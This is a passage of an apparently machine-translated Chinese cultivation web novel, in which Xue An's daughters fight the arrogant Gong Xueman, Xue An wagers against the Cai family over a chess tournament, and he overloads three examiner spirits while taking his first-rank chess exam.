    When An Yan spoke, Xue An certainly agreed.


    "Okay, but remember to take good care of her, don''t let people abduct her!" Xue An said in a serious manner.


    Hu Ying was so angry that she almost regained her original form, stamped her feet and said, "Brother Xue!"


    An Yan smiled and said, "Okay, okay, I know, I must be optimistic about her, why not let me miss and Zhang Xiaoyu all, they stay in it, they know how to fight all day long. Games, just go out and relax together!"


    Xue An naturally had no opinion.


    When the two little girls and Zhang Xiaoyu came out of the Fubao Xiaolou, there was still nothing to miss, Zhang Xiaoyu was already excited and was about to cry.


    "My lord, can you tell me in advance when you let me out next time, I just exploded a good thing, and I got it out before I had time to pick it up!"


    Xue An nodded, "Then you can go back and pick it up now!"


    "No need!" Zhang Xiaoyu shook his head quickly, then took a deep breath pretending to be intoxicated.


    "Is this free air?"


    An Yan and others are already taking no surprises at this actor-like Octopus.


    But Gong Xueman''s eyes gradually widened. It was not until after a while that she said in awe, "What a big squid!"


    These words made Zhang Xiaoyu''s complexion collapse in an instant. What she hated most was that others called her squid, so she roared.


    "Lun''s family is octopus, octopus, octopus! Do you understand?"


    As she said, she waved her tentacles, her face full of arrogance.


    But Gong Xueman looked at the octopus tentacles dancing all over the sky with a look of amazement, and then couldn''t help swallowing, "A big squid tentacles, it must be delicious for barbecue!"


    Black lines appeared on Octopus''s forehead, and then it broke out completely.


    "Don''t stop me, I''m going to kill her ah ah ah ah ah ah ah ah ah ah! Bang!"


    As soon as Zhang Xiaoyu rushed halfway, Gong Xueman pressed her face down on the ground with his spiritual thoughts, and the tentacles on her body turned into an S shape and then a B shape as Gong Xueman meant.


    "Wow, it''s fun!" Gong Xueman said excitedly.


    Zhang Xiaoyu is about to cry.


    She felt that she had never been so ashamed.


    Hu Ying''s face sank and she was about to speak.


    Thinking aside, he rushed up, and then pointed to Gong Xueman, "Let''s release the little fish!"


    Gong Xueman glanced at Xue Xiang, and then said casually: "You let me let it go? Who are you?"


    "I just think about it, Xiaoyu is my friend, I order you to let her go now!" Xue Xiang''s little face was full of chill.


    "Yes, Xiaoyu is also my friend, let her go now! Otherwise, don''t blame us for being polite!" Nian Nian also stepped forward,


    An Yan wanted to stop, Xue An stretched out his hand and smiled: "Don''t go, see what they do!"


    An Yan had to stop.


    At this time , the little octopus lying on the ground looked at the two little girls, moving tears in his eyes.


    But Gong Xueman smiled arrogantly, "You''re welcome to me? Haha, you two are not as high as me combined, I really want to see how you are so kind to me!"


    But her voice just fell.


    Seeing Xue Xiang raising his pink fist, he said coldly: "Sister!"


    "Ok!"


    "Beat her!"


    "it is good!"


    With that said, the two little girls rushed directly up.


    This Gong Xueman''s face was careless. In her opinion, two yellow-haired girls were nothing but the effort.


    But when she sent out divine thoughts and tried to control the missing thoughts, she was shocked to find that her divine thoughts did not work on the two little girls!

 Chapter 985： Are you afraid of big bottle fists?

    It is this dazed effort.


    The two little girls rushed to the front, and then raised the big fists of the milk bottle, raindrops fell on Gong Xueman''s body.


    During this time, Xue An had already begun to consciously lay the foundation for the two daughters, and used the power of the true immortal to cut the scriptures and cleanse the marrow of the two daughters every day.


    Under this kind of extravagant and terrifying foundation, Miss Miss''s strength has also advanced by leaps and bounds.


    of course.


    Xue An didn''t intend to train his own daughter in the same way that Xukong Dajiao cultivated descendants.


    This is just to give them a solid foundation, which is convenient for future cultivation.


    The most important thing now is to let the two little girls spend their best childhood.


    Therefore, apart from laying the foundation for the two of them, Xue An didn''t teach any secret techniques.


    Nevertheless, the strength of Miss Miss has made a qualitative leap.


    Especially because of the blessing of Xue An''s original power, Gong Xueman''s divine mind attack was shattered before it came close.


    So when the fists of the two little girls fell on Gong Xueman''s body, the arrogant and stubborn little girl directly screamed in pain.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    But her voice just fell.


    Thinking about it, a punch hit her eye socket.


    Gong Xueman was beaten and stumbled and retreated far.


    Looking at her now, she looked terrible.


    There are injuries on his face, and even his clothes are full of fist marks.


    Gong Xueman cried aggrievedly, "Brother, have you seen it? The two of them bullied me!"


    Think about closing your fists, raising your small chin, and calmly saying: "First, make it clear that you bullied our friend Xiaoyu first, and I told you in advance that you let her go, but you just didn��t listen. , So we can only beat you up!"


    "My sister is right!" Nian Nian made a final addition.


    At this time, Gong Changyue looked at his sister, and his expression gradually sank.


    "Brother, it was obviously the two of them who did it first..." Gong Xueman yelled a little shyly.


    "Enough!" Gong Changyue snorted coldly, and then took a deep breath, "I saw it all just now! Gong Xueman, when can you change your troublesome mouth? Just open your mouth and call others squid, just like a parent. Can''t you say that?"


    Lying on the ground, Octopus, who had already shown a slight smile, gradually solidified.


    "Oh! I''m sorry, I speak so straight, don''t take it to your heart!" Gong Changyue did not forget to apologize to Zhang Xiaoyu.


    Then he turned his head again, hating iron but not steel and said, "Then you dare to use your divine mind to tease others? As a monk, is this the principle of your power control?"


    Gong Xueman was about to cry after being trained, "I was the one who was beaten!"


    "You still have the face to say, look at people..." Gong Changyue pointed at the two little girls, and said with a heartache.


    "The combined age and height of the two of them are not as big as yours. As a result, you can''t beat them. You still have the face to cry?"


    With that, Gong Changyue slammed Xue An apologetically.


    "Mr. Xue, my sister really doesn''t make me worry too much, I''m really sorry!"


    Xue An smiled slightly.


    He didn''t feel any disgust with Gong Xueman, but he admired this Gong Changyue.


    So just nodded, "It''s nothing, just let her apologize to my daughter!"


    "My face is like this, I still have to apologize?" Gong Xueman pointed to the scars on his face.


    Xue An nodded earnestly, "Yes! My two daughters'' small fists were almost hurt by your face, shouldn''t you apologize?"


    Gong Xueman almost didn''t jump up, but under his brother''s strong suppression, he had no choice but to arch his hand helplessly, "I''m sorry! I shouldn''t use my face to hurt your two fists!"


    Thinking about it, nodded, "It''s okay, just pay attention next time!"


    Gong Xueman: "..."


    This little storm is over.


    Gong Xueman looked in the mirror with a distressed look, feeling that his plan to go out this time must have been ruined.


    Being complaining about herself, Xue An threw a small bottle over.


    "What is this?" Gong Xueman was taken aback.


    "Take it internally and externally to heal the wound on your face!" Xue An said with a smile.


    Gong Xueman didn''t want to use it, but he couldn''t help being attracted by this delicate little bottle. After applying a little on his face, his injuries began to recover at a speed visible to the naked eye.


    "Wow, it''s amazing!" Gong Xueman was shocked.


    "Not thank you Mr. Xue!"


    "thank you!"


    "You''re welcome!"


    Xue Xiang and Xue Nian on the side witnessed this scene throughout.


    Nian Nian asked in a low voice in a puzzled voice: "Sister, why did Dad give this bad sister potion?"


    Xue Xiang was thoughtful, and then whispered: "Silly Niannian, haven''t you seen this yet? This should be what people often say, slap a sweet date!"


    Nian Nian suddenly realized, and then sincerely praised: "Sister, you know so much!"


    Think about it proudly raising his head, "That is, how else can you be your sister?"


    I completely ignored the fact that she was only born six minutes earlier than Nian Nian.


    Xue An couldn''t help laughing secretly when he heard the conversation between the two little girls.


    My two daughters are really getting more and more sensible.


    Especially when I think about it, it''s getting more and more... black belly!


    But this is also a good thing, as honest as Nian Nian, it is easy to be bullied!


    Xue An sighed in his heart.


    And here An Yan had prepared everything, and then took Hu Ying, two little girls and Zhang Xiaoyu to go shopping.


    Gong Xueman, who had just been beaten up, also walked behind with a shy face.


    Xue An did not go.


    Shopping is the nature of women, but it is the enemy of men.


    I believe that few men are willing to go shopping (such as me!).


    Xue An would rather deal with powerful opponents than go shopping.


    So he stayed in the inn.


    Xue An intends to take advantage of this time to sort out the game records kept in his divine mind.


    Then look for an opportunity to teach this Gong Changyue but when he is immersed in research.


    A slight throbbing suddenly came back through Divine Mind.


    Xue An was stunned, and then his figure disappeared instantly.


    Immediately afterwards, Gong Changyue, who was preparing for the game in her room, also noticed something was wrong, and rushed over.


    now.


    A confrontation is going on in a very prosperous street in the city.


    Gong Xueman''s face was pale and gritted his teeth at the person opposite, "Cai Yongxin, what do you want to do?"


    Opposite is a man wearing a very sulky white shirt with an arrogant face and wandering eyes.


    He smiled when he heard the words, and then casually folded his hands, "Miss Gong, I didn''t expect to meet you here!"

 Chapter 986： Face off in the street

    "Don''t talk nonsense with me, who is she?" Gong Xueman asked in a cold voice, pointing at the plump and flirty glamorous woman beside Cai Yongxin with a fierce look.


    Cai Yongxin''s eyes shuddered, but he sank his face, "Gong Xueman, who is she and what is your relationship with?"


    "You..." Gong Xue was so angry that the blue veins on his forehead were exposed, "Cai Yongxin, you are looking for such a lowly woman outside with me behind your back. Have you forgotten our marriage contract?"


    This word is out.


    An Yan and the others opened their eyes and started to eat melons.


    At this moment, the coquettish woman shouted with aggrieved expression: "Master Cai, she actually said that she is a lowly woman!"


    Cai Yongxin showed a ruthless look on his face, and then sneered: "Gong Xueman, yes, we have a marriage contract, but haven''t we got married yet? Let alone look at your figure, Qian Ping Hou Ping, I can��t tell the front and back when I turn off the lights, so what can I do if I find a female partner to relieve my boredom?


    These words made An Yan and others'' complexions cold.


    Gong Xueman was even more stunned, until after a while, she said in grief and angrily: "You can''t tell the pros and the cons, and your whole family can''t tell the pros and cons!"


    "Also, Cai Yongxin, don''t think I can''t see what''s going on? If you leave it before, you won''t dare to find another woman in front of me, right? Don''t forget that your Cai family used to talk to us How much effort was spent on the marriage of the Gong family."


    "As a result, as soon as something happened to our family, your Cai family can''t wait to get rid of the relationship, right?"


    This questioning made Cai Yongxin''s face blue and white.


    And An Yan and the others, who had been eating melons, understood what was going on.


    It seems that Gong Xueman has a marriage contract with this Cai Yongxin, but now something seems to have happened to the Gong family that has caused this man to no longer value the marriage contract so much.


    "What a scumbag!" Zhang Xiaoyu said bitterly.


    At this time, Cai Yongxin gritted his teeth and nodded with a brutal expression, "Yes, what can you do if you said it?"


    "Now your Gong family has already been defeated. In the last game, your family members tried their best, but you didn''t even win a single victory. You went back with a duck egg. If you can''t win the ranking this time, your Tianmu Gong family Even if his reputation is completely over!"


    "And this time I heard that the Gong family sent you two brothers and sisters over to participate in the competition. This shows that there is no longer any confidence!"


    "When your Gong family loses again, the rank will definitely drop. By then, our Cai family''s rank will be higher than yours! At that time...hey, if your Gong family wants to make a comeback, you have to rely on our Cai family. If this is the case, do you dare to do it again?"


    Cai Yongxin showed the face of a villain to the fullest.


    An Yan and others who were on the sidelines couldn''t bear it.


    Gong Xueman''s face was even more pale, and his figure was trembling slightly.


    But at this moment, Gong Xueman took a deep breath and gradually recovered her composure, and then sneered at Cai Yongxin.


    "I have to say, the look of your Cai family''s reverence in front of you is really shameless!"


    "You..." Cai Yongxin''s face turned cold and he was about to attack.


    Gong Xueman said coldly: "The surnamed Cai, go back and tell your father and your Cai family elders, this marriage, I don''t agree with Gong Xueman!"


    With that, Gong Xueman stretched out his hand and took out a jade pendant from his arms and fell directly to the ground.


    With a cry, the jade pendant fell to pieces.


    Cai Yongxin''s expression changed, "You..., very good! Gong Xueman, this is not a play house, what you said represents yourself or your Gong family, you have to think clearly!"


    Gong Xueman''s face was pale, but his face was determined, "I represent myself and also our Gong family!"


    "Hehe, I''m afraid you can''t represent it!"


    The voice just fell.


    Just heard a voice full of anger came over, "She can''t represent it, what about me?"


    Following the voice, Gong Changyue appeared in front of everyone.


    "Brother..." Gong Xueman finally saw his relatives, tears rolled in his eyes, but they didn''t flow.


    Gong Changyue smiled at his sister infrequently, "Xueman, good job! People in our Gong family must have this backbone!"


    As he said, he turned his head and stared at Cai Yongxin coldly, "The surname is Cai, you just said that my sister can''t represent our Gong family, then can I represent it?"


    "You...Gong Changyue, have you considered the consequences of doing this?" Cai Yongxin''s face gradually became cold, and said grimly.


    Gong Changyue shook her head, "I haven''t thought about it, and I didn''t intend to think about it! Because I am just such a younger sister. Although she is usually stubborn, but if someone dares to bully her, I will never allow it!"


    These words made Gong Xueman unable to control anymore, tears burst into her eyes.


    Cai Yongxin sneered, "What a touching brother-sister relationship, but Gong Changyue, your Gong family has now run out of ammunition and food, and is completely in a difficult situation. Unless you can win the place in this competition, there will be no May be spared!"


    "Only you...hehe! Do you think it''s possible?"


    "If you want to get rid of this predicament, our Cai family is your last hope, now...understand?"


    Cai Yongxin looked smug when he said this.


    Gong Xueman, who was impulsive, turned pale and began to tremble.


    Because she knows what Cai Yongxin said is true, it really concerns the life and death of the Gong family.


    So there was a trace of regret in her heart.


    But at this time, Gong Changyue said coldly: "Cai Yongxin, you are right, our Gong family is indeed experiencing difficulties now! But if we have to sacrifice my sister in order to get through this difficulty, we have to ask all of you. The despicable villain begs for mercy, I would rather not have such a prolonged life!"


    "You...very well, Gong Changyue, then I want to see what you can do well in this game. I hope that your Gong family will not come to our Cai family to beg for mercy by then!" Cai Yongxin grinned grimly About to turn around and leave.


    At this moment heard a calm voice coming over, "Hold on!"


    Hearing this voice, the Gong brothers and sisters were taken aback.


    An Yan showed a faint smile.


    Because Xue An''s figure has appeared in front of everyone.


    Cai Yongxin stopped and turned around, "Who are you again?"


    Xue An smiled, "My surname is Xue, you can call me Mr. Xue!"


    "Oh! I remember now, you are the one who ranted to defeat Lord Jing!" There was a joking expression on Cai Yongxin''s face.


    What Xue An said in front of everyone before, under the deliberate guidance of Di Yuanlong and others, has spread. Now many people know that there is a population who is not even a first-order chess player who has madly said to defeat Jing Tian Rui.


    This has become a joke among the people.


    Xue An just smiled, "Yes, it''s me!"

 Chapter 987： Shocking Gamble

    "Why? What do you want to teach?" Cai Yongxin deliberately increased his tone when it came to the word "teaching", which seemed full of mockery.


    "Just give me advice, you don''t deserve it! It''s just that I just listened to you and I was a little puzzled!"


    "What do you wonder?"


    "I wonder why you are willing to be running dogs of the Amaterasu Star Territory?" Xue An said lightly.


    As soon as these words came out, Gong Changyue''s expression changed suddenly.


    Because he instantly thought about the ins and outs of this matter.


    Yes indeed! This Cai family had obviously taken refuge in the Amaterasu Star Territory, so that all their actions had a reasonable explanation.


    Cai Yongxin''s face turned green and red, and finally grinned, "Yes, we are indeed Lord Di Yuan Long Di''s people! How about it? Isn''t it possible?"


    Gong Changyue was filled with grief and indignation, "Cai Yongxin, have your Cai family forgotten the massacre of our Celestial Eye Star a hundred years ago by the Amaterasu Starfield?"


    "So what? People can''t always live in the past! It''s the general trend that Amaterasu Star Territory is leading the way. If you want to oppose them, it will not end well! Isn''t your Gong family a living example?" Xin said indifferently.


    Xue An waved his hand and signaled Gong Changyue, who was already in a state of anger, not to speak, and then clapped his hands in a leisurely manner, exclaiming, "It''s so good, people really can''t always live in the past!"


    "But do you think Amaterasu Star Region will really win this game?"


    "Of course!" Cai Yongxin looked up arrogantly, "I know what you want to say, but Master Jing returned from retreat and his chess skills have risen sharply. Then Zhuge Xuanqing will definitely not be Master Jing''s opponent!"


    Xue An shook his head and said lightly: "You are wrong, I am not talking about Zhuge Xuanqing!"


    "then you����."


    Xue An raised his eyes, his eyes dazzled with brilliance, like a starry sky, and then said lightly: "I mean, this game, I will win!"


    Cai Yongxin couldn''t believe his ears, and after a while, he laughed mockingly.


    "To be honest, I really admire your courage, but before you say this..."


    Xue An interrupted him, "Are you interested in taking a gamble?"


    "Bet? What to bet?"


    "Bet on my words, if I win the game this time, all of you Cai family will kneel in front of Gong Xueman and admit their mistakes!"


    Cai Yongxin''s face gradually became gloomy, "Then what if you can''t win?"


    Xue An smiled faintly, "If you can''t win, how about the Gong family quitting Tianmuxing?"


    "And what you want should be this!"


    Hearing these words, the complexion of the Gong brothers and sisters changed drastically.


    Gong Changyue''s heart sank, even though he was as dull as him, now she finally understood why the Gong family had fallen into such a desperate situation.


    It turns out that this Cai family, including the Amaterasu Star Territory, wants the Heavenly Eye Star!


    Cai Yongxin burst out in front of him, "How do I know if your words can represent the Gong family?"


    Xue An turned his head and glanced at Gong Changyue.


    Gong Changyue didn''t have the slightest confidence in her heart, but when he saw Xue An''s calm eyes, he nodded in a ghostly manner.


    "Okay! A word is settled!" Cai Yongxin couldn''t wait to agree, for fear that Gong Changyue and Xue An would regret it.


    At this moment, many onlookers have been attracted by this dispute.


    These people also showed horror after hearing this shocking bet.


    Among them, a chess master who is familiar with the Gong family couldn''t help but shook his head secretly.


    "Is Gong Changyue confused? How could it be possible to make such a bet?"


    "Yeah! Is this unclear about hitting a rock with a pebble?"


    "What kind of confidence does this Mr. Xue have? How dare to praise such Haikou?"


    In these discussions.


    Cai Yong smiled triumphantly at the Gong brothers and sisters, "I have to tell you one more thing before I leave!"


    "When Master Jingtian Ruijing was in retreat, he had received personal guidance from Master Chess!"


    After that, he turned and left with a laugh.


    But the Gong brothers and sisters, including the onlookers, all looked shocked.


    Get advice from Master Chess!


    No wonder Sedum Rui is so confident this time.


    Gong Changyue felt that his heart was sinking into a bottomless abyss.


    But Xue An seemed to have not heard it, standing in front of the street with a hand with a hand, with a playful expression on his face.


    quickly.


    The news that the Gong family and Cai Jiadang made a shocking bet on the streets quickly spread throughout the game star field like a hurricane.


    Countless people were shocked.


    "What? Does the Gong family dare to make a bet with the Cai family? This is clearly the opponent''s aggressive method!"


    "The Gong family is completely finished now! It seems that Tianmu Star will also become a colony of the Amaterasu Star Region in the future!"


    "Tsk tusk, this man named Xue is really not afraid that the wind will slap his tongue! How dare to speak wild words!"


    Almost everyone is not optimistic about Xue An, let alone Gong''s performance in this bet.


    In a small building in the city, Zhuge Xuanqing also learned the news.


    She stood in front of the window, looking at the scenery outside, until after a long while, she said indifferently.


    "silly!"


    I just don''t know if this is talking about Gong Changyue or Xue An, or... both?


    Waiting to return to the inn.


    Gong Xue went back to the house full of sorrow.


    This little girl, who has never tasted the hardships in life, has finally grown a little after experiencing what happened today.


    But she was not happy at all.


    Because she also felt that the Gong family was over.


    This feeling made her heart occupied by sorrow, and she didn''t even have the mood to ask Xue An why she did it.


    And after she went back to the house.


    Gong Changyue also looked at Xue An solemnly.


    Xue An smiled, "Is there nothing to ask?"


    Gong Changyue hesitated for a moment, and finally sighed: "Mr. Xue, I know you are definitely not an ordinary person, because I have not been able to see through your cultivation level! But this chess competition is talent and spirituality, that Jing Tianrui A young genius, again under the guidance of Master Chess..."


    Speaking of this, Gong Changyue couldn''t say anything.


    Because the more he said it, the more despair he felt.


    Xue An smiled slightly, and did not respond positively to the topic, but said lightly: "How confident are you in this competition?"


    Gong Changyue smiled miserably and shook his head, "Also without the slightest confidence!"


    Xue An was noncommittal, suddenly took out a jade slip from his arms and threw it over.


    "this is����."


    "Oh, these are some chess records handed down since ancient times. I think it''s good. You can take a look. Not to mention a win, but to win a place, it must be the same!"


    Gong Changyue held the jade slip in her hand, although she only felt it for a moment, she was stunned.


    Because the chess records recorded in it are all peerless treasures, compared with this, the chess records collected by the Gong family are all garbage.


    "This..." Gong Changyue raised her head and wanted to say something.


    But then he realized that Xue An had stood up and stretched out into the house.


    As he walked, he yawned and said, "It''s late, go to bed early!"


    After Xue An left, Gong Changyue stood alone in the courtyard, holding the jade slip, his eyes filled with blank expression.


    Who is this Mr. Xue?

 Chapter 988： The game begins

    On this day when the chess game officially opened, the entire Amaterasu star field was very lively.


    As the main venue, Yuejianxing is the most important existence in the entire Amaterasu star field except Amaterasu.


    The key is that Amaterasu Academy is also located here.


    Therefore, this place has become a holy place in the minds of many chess monks.


    now.


    In front of the chess courtyard where I see the stars this month, there is a sea of ??people.


    Divine mind monks from various stars, master chess masters crowded this place.


    People whispered and talked, but the focus of the discussion was nothing more than this game.


    "I heard that the young chess king Jingtian Ruijing was under the guidance of the chess master during the retreat, and the chess cultivation base has been advancing by leaps and bounds. It is estimated that this competition will crush everyone and win the crown again!"


    "Zhuge Xuanqing, a genius girl from the Zhuge family, should not be underestimated!"


    "Hey, have you heard that the Gong family and the Cai family have a bet?" someone mentioned.


    Upon hearing this, many people showed weird expressions on their faces, and some even laughed.


    "Is there anyone who doesn''t know about this gambling agreement now? Tsk tsk, let me say that the so-called Mr. Xue must be a liar. If we don''t believe it, we just wait and see!"


    "I don''t think so! Since he dares to say that, he should have some real ability!"


    "No matter how much you have the ability, can you overwhelm Master Jing? Who does he think he is? Does Zhuge Hanzo?"


    While discussing.


    As soon as there was a commotion in the distance, many high-level officials from the Cai family came together, and it was Cai Yongxin who walked in the forefront.


    At this moment, Cai Yongxin had a complacent look, and he was even more like no one while walking.


    Because they are all nine-dan chess masters, naturally they don''t need to wait outside the door, but go straight to the high platform specially prepared for advanced chess masters.


    But they haven''t waited for them to sit down.


    Seeing that Di Yuanlong led many chess masters from the Amaterasu Star Region also arrived.


    As soon as they saw them, these Cai family members hurried forward and greeted them with flattery.


    The look of humility is really disgusting.


    Immediately afterwards, people from major chess families also came.


    The venue became more heated and noisy.


    However, it can be seen that all the chess masters of Amaterasu Star Territory have a face of arrogance, and there is a clear distinction between them and the chess masters outside.


    At this moment.


    There was a violent commotion among the crowd.


    Zhuge Xuanqing, wearing a black dress and carrying a chess bag, walked over.


    Her appearance made the suppressed chess masters outside who couldn''t raise their heads relieved and greeted them one after another.


    Zhuge Xuanqing nodded blankly, said hello, and then sat on the high platform for himself.


    I don''t know if it was an illusion or something, as soon as Zhuge Xuanqing appeared, the voices of these Amaterasu chess masters even became much quieter, and at the same time, many people looked at Zhuge Xuanqing with awe.


    As Zhuge Xuanqing said, in the world of chess, strength is everything.


    You are the strong, so naturally there will be people who will respect you!


    Everything is so naked, yet irrefutable.


    But soon, the arrogance of the Amaterasu chess masters became arrogant again.


    Because Sedum is here.


    This talented chess king, who is known as a rare encounter in the Apocalypse Star Territory in a century, even played a different position from ordinary people.


    As soon as he appeared, all the chess masters of the Amaterasu Star Territory, including Di Yuanlong, as well as the Cai family and other families who sincerely took refuge in Amaterasu stood up.


    "Master Jing!"


    "I have seen Master Chess!"


    These greetings came one after another, which made Jing Tian Rui quite useful.


    But he quickly focused his attention on Zhuge Xuanqing who was sitting on the high platform.


    The girl''s glamour made him look greedy, and then walked forward pretending to be enthusiastic.


    "Ms. Zhuge, it has been three years since the last time we had a farewell match. I didn''t expect your style to be better than before!"


    Zhuge Xuan glanced at him coldly, and said lightly: "You are good too!"


    This kind of non-salty response made Jing Tianrui a soft nail.


    But he was not discouraged. Instead, he continued with a smile and said: "In fact, with the strength of Zhuge girl, you don''t have to come so early. After the preliminary round, you can go straight to the final!"


    Chess games do have this rule.


    For those recognized as strong players, they can be allowed to advance directly to the finals without participating in the preliminary rounds.


    But Zhuge Xuanqing just shook his head, "Thank you, but I still like to start from the preliminary round and win step by step!"


    Jing Tianrui''s expression became a little subtle, and a look of anger appeared in the depths of his eyes.


    How could he not hear the ridicule implicit in Zhuge Xuanqing''s words.


    In fact, in the last chess game, Jing Tian Rui did not pass the preliminary round because of his reputation, but went directly to the finals.


    Zhuge Xuanqing won step by step, and then met the well-reserved Jing Tianrui in the final.


    You must know that the chess game is very energy-consuming and spiritual. At that time, Zhuge Xuanqing played seventeen games in a row, and both physical strength and spirituality were already exhausted.


    Under this situation, Zhuge Xuanqing was defeated by Jing Tianrui with a slight gap between three goals.


    And if Zhuge Xuanqing had played in a normal state, the outcome would be really unpredictable.


    Therefore, when Jing Tianrui heard Zhuge Xuanqing''s words, he was naturally a little embarrassed.


    But the greed for this girl made him endure it, just a faint smile. "If you say that, then I would like to win step by step from the preliminary round!"


    Zhuge Xuanqing was noncommittal and even frowned slightly, showing a hint of impatience.


    Jing Tian Rui was unwilling, but in the end he gave his hand and returned to his seat, but his eyes were full of coldness.


    What he values ??is not just Zhuge Xuanqing''s beauty.


    In fact, with his identity and status, if he makes a hook in the Amaterasu Star Territory, countless beauties will take the initiative to post.


    What he values ??is Zhuge Xuanqing''s talent and identity.


    In fact, a word has been circulating in the chess.


    The combination of talented chess players is very likely to give birth to offspring with even more amazing talents.


    And this is why he salivates to Zhuge Xuanqing.


    Ha ha, don''t be proud! Waiting for this game, I let you lose with nothing to say, and then let you take the initiative to kneel before me!


    Jing Tianrui thought with resentment in his heart.


    At this moment.


    I saw the Gong brothers and sisters coming together Their appearance caused a big disturbance. Many people pointed, then lowered their voices and talked with people around them.


    Obviously they are saying that this is the Gong family.


    But it hasn''t waited for the noise to ease.


    Xue An''s figure also appeared in the court.


    After two days of rumors, Xue An has also become a celebrity.


    Many people saw him and showed a weird smile.


    Xue An also didn''t care, and the Gong brothers and sisters were going to the high platform.


    But at this moment.


    A security guard blocked the way.


    "Sorry, this is a high platform for nine-dan chess masters to sit on! If you don''t have a rank, please go and stand there!"

 Chapter 989： And wait for me for a while, I will go to test 9 paragraphs...

    As soon as these words came out, there was a sneer around him.


    Xue An moved slightly in his heart, raised his head and saw that on the high platform, Di Yuanlong was looking at this with a smug expression.


    Xue An understood that this should be what he instructed, and couldn''t help laughing.


    I want to use this awkward method to demonstrate, it can be seen that this Di Yuanlong has a small belly.


    Seeing Xue An laughed, Di Yuanlong was a little surprised.


    The guard was indeed arranged by him, and his purpose was to suppress Xue An in this way and let him know who is the boss in this Amaterasu star field.


    Unexpectedly, Xue An didn''t show any irritation, but smiled instead.


    what happened? Di Yuanlong was in surprise in his heart.


    I saw Xue An turned his head and said to Gong Changyue, "It seems I can''t go now!"


    Gong Changyue looked embarrassed, "Mr. Xue..."


    Xue An waved his hand and said lightly: "You two will wait for me here!"


    "What are you going to do?" Gong Xueman asked suspiciously.


    Now this Gong Xueman��s attitude towards Xue An is much better. Although she still doesn��t believe that he can defeat geniuses such as Jing Tianrui and Zhuge Xuanqing, but because of the jade slip that Xue An gave to her brother, Gong Xueman still tells Xue. Ann''s perception is much better.


    Xue An smiled, "Naturally go to... take a 9th dan!"


    what?


    This time not only Gong Xueman was stunned.


    The crowd watching the excitement around was all stupid.


    Although from this venue, it seems that there are many nine-dan chess players.


    But you know, this is an elite from countless stars.


    In fact, a nine-dan chess master is already a terrifying existence in many stars.


    Many people can''t prove Jiudan in their entire life.


    You can hear Xue An''s current tone, as common as going to a vegetable market to buy vegetables.


    quickly.


    Xue An''s words spread throughout the venue.


    Many people looked at Xue An with mocking eyes.


    And on the high platform.


    Jing Tianrui stared at Xue An in the audience, a cold smile appeared at the corner of his mouth.


    "Yuanlong!"


    "My lord!" Di Yuanlong leaned over.


    "Send a few people to add something to this guy who doesn''t know how high and how thick!" Jing Tianrui said lightly.


    "Understand!" Di Yuanlong showed a weird smile and hurried away.


    However, Zhuge Xuanqing coldly looked at Xue An''s back, suddenly a flash of doubt in his eyes.


    She suddenly felt that Xue An seemed a bit familiar, but she couldn''t tell where it came from.


    At this time, a chess master approached Zhuge Xuanqing and said, "Miss Zhuge, I just saw Di Yuanlong go out just now. I guess I have no good intentions. Should we..."


    Zhuge Xuanqing shook his head, "No need, even I can''t prove Jiuduan in such a short time!"


    Zhuge Xuanqing''s meaning is clear.


    Even if she can''t do it, it''s even more impossible for Mr. Xue, who doesn''t know where to come out.


    Since it is impossible to prove the Dao Jiuduan, no matter what plots and tricks Jing Tian Rui uses, the result will be the same.


    "Yes!" The chess master thought that this was true, and then stepped back.


    Because the game has not officially started, many people who love to watch the excitement followed Xue An to the assessment office of the chess academy.


    This is the place responsible for the assessment of the chess master''s rank.


    Xue An does not have any rank now, so he can only start from the beginning of the exam.


    When he came before a period of assessment, there was already a small group of people here.


    But these people are basically children aged seven or eight, and the oldest is only about ten years old.


    In contrast, Xue An looked particularly dazzling.


    Many chess masters who followed saw Xue An standing among a group of children, and they all laughed.


    But Xue An did not show any irritation, instead stood there with a smile on his face.


    "Big brother, are you here to take the test too?" a little girl who was only seven or eight years old raised her head and asked.


    Xue An nodded, "Yes!"


    "Big brother, this section of the assessment is so difficult. I have passed the exam twice. Remember to cheer later!" The little girl reminded me very kindly.


    This made the examiner in charge of a section of the exam laugh.


    "Okay, little sister, it seems that this brother has not been able to pass the exam at this age. It is estimated that he is not a talented person. You can pass the exam twice, he is not necessarily!"


    Xue An ignored the examiner''s ridicule, but just lowered his head and smiled at the little girl, "Thank you for your reminder, I will cheer!"


    The assessment begins.


    Because it is an exam, the content is very simple.


    Just win three rounds within the specified time.


    The chessboard used has only seven layers stacked.


    And Xue An''s opponent was Yi Gui who was specially used to assess the rank.


    It is not accurate to say ghosts.


    Because these ghosts are all simple spiritual thoughts condensed by magical masters through secret methods.


    This kind of divine mind has no self-consciousness, but it can perform the tasks you engraved in.


    To put it plainly, it is the same as a computer program.


    Although these game ghosts are mechanically rigid, but because they are backed by a large number of chess records, most people really can''t play them.


    Of course, the game of ghosts in the first paragraph is also very simple, and even the game records instilled in it are very few.


    Xue An glanced at these chessboards, then suddenly smiled and shook his head.


    "What? Are you scared? If you don''t dare to prove it, go down quickly!" someone yelled from behind.


    Xue An turned his head and glanced at the crowd, these people with ulterior motives swallowed all the words behind.


    Because Xue An''s eyes were indifferent with a bit of killing intent, which made people shudder.


    Xue An said indifferently: "It''s too slow for such a round of matchups, let''s come together!"


    what?


    The examiner thought he had heard it wrong.


    "Isn''t a paragraph three sets? Let''s come together! I''m in a hurry!" Xue An said lightly.


    Many people were surprised.


    It''s not that there are no strong people doing this during the proof, but this way the difficulty will increase a lot.


    Is this person really good?


    The examiner sneered, "Okay! If you are willing, come on!"


    With that, the three chessboards were laid out one by one, and the game officially started.


    Among the three games, there are first and second openings. Although it is only a seven-layered chessboard, the addition of the three is also very dazzling.


    Xue An didn''t show any seriousness during the game. Instead, he sat on a chair with a relaxed expression, controlling the three games purely with divine mind.


    At the beginning, the speed was not very fast, but afterwards, Xue An flew like a flying son, and all three games were so fast that it was dizzying.


    This speed made some people look solemn.


    With this speed, it can be seen that Xue An''s chess skills should also be very good.


    But just when the game was half-lived, I saw the three game ghosts shaking together, and then a curl of green smoke appeared.


    Everyone was shocked.


    what happened?


    Xue An sighed slightly This Yigui is too fragile, is this speed lost? "


    The examiner rushed forward and took a closer look.


    really.


    These three Yiguis had burned the source of their divine consciousness because of overheating, in other words, they were completely abolished.


    This time the audience was shocked.


    I haven''t heard that playing chess can scrap Yigui.


    And is this a win or a loss?


    Everyone looked at the examiner.


    His complexion turned green and white, and finally a few words popped out between his teeth.


    "Three rounds... a complete victory! A passage of proving!"

 Chapter 990： 1 way rolling

